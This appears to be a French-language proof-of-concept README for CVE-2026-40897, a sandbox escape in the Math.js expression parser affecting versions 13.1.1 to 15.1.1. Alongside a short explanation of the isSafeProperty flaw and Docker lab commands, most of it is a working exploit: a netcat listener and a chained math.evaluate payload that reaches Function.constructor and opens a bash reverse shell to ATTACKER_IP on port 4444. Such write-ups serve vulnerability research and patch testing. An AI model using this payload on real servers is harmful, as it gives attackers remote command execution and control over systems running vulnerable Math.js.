
Math.js Expression Parser RCE
★ CVE-2026-40897 Exécution de code à distance dans Math.js PoC ★
https://github.com/user-attachments/assets/8c394039-f00a-4875-991a-fb5f40bc6898
CVE-2026-40897 est une vulnérabilité Contournement de sandbox menant à l'exécution de code à distance dans l'analyseur d'expressions de Math.js. Le filtre
isSafePropertyvérifie uniquement l'accès aux propriétés depuis les expressions utilisateur, et non depuis les chemins de code internes. En divulguant le tableau interne deArrayNodeviatoJSON()et en écrasant son.map, un attaquant peut forcer le code interne à accéder àFunction.constructoret exécuter du code JavaScript arbitraire.
| Catégorie | Version |
|---|---|
| Vulnérable | Math.js 13.1.1 ≤ version ≤ 15.1.1 |
| Corrigé | 15.2.0 |
docker build -t cve-2026-40897-mathjs-vuln .
docker run --rm -it -p 3000:3000 --name mathjs-vuln cve-2026-40897-mathjs-vuln
Après avoir démarré l'environnement vulnérable, suivez les étapes ci-dessous pour reproduire l'attaque.
nc -lvnp 4444
Envoyez l'expression suivante à math.evaluate (par exemple, via l'entrée de calcul de l'application).
array = reviver('',{'mathjs':'ArrayNode'}).toJSON()['items']
array.map = f(callback)=callback({'map':f2(callback2)=callback2({},'constructor'),'type':sum})
functionAssignmentNode = reviver('',{'mathjs':'FunctionAssignmentNode','name':'a','params':array,'expr':reviver('',{'mathjs':'ConstantNode'})})
func = functionAssignmentNode.toJSON()['params']['type']
shell = func('return process.mainModule.require("child_process").execSync("bash -c \'bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\'").toString()')
shell()
Le serveur cible se reconnecte à l'écouteur de l'attaquant, offrant un shell bash interactif.
math.evaluate()reviver, FunctionAssignmentNode, ArrayNode) via l'analyseur d'expressions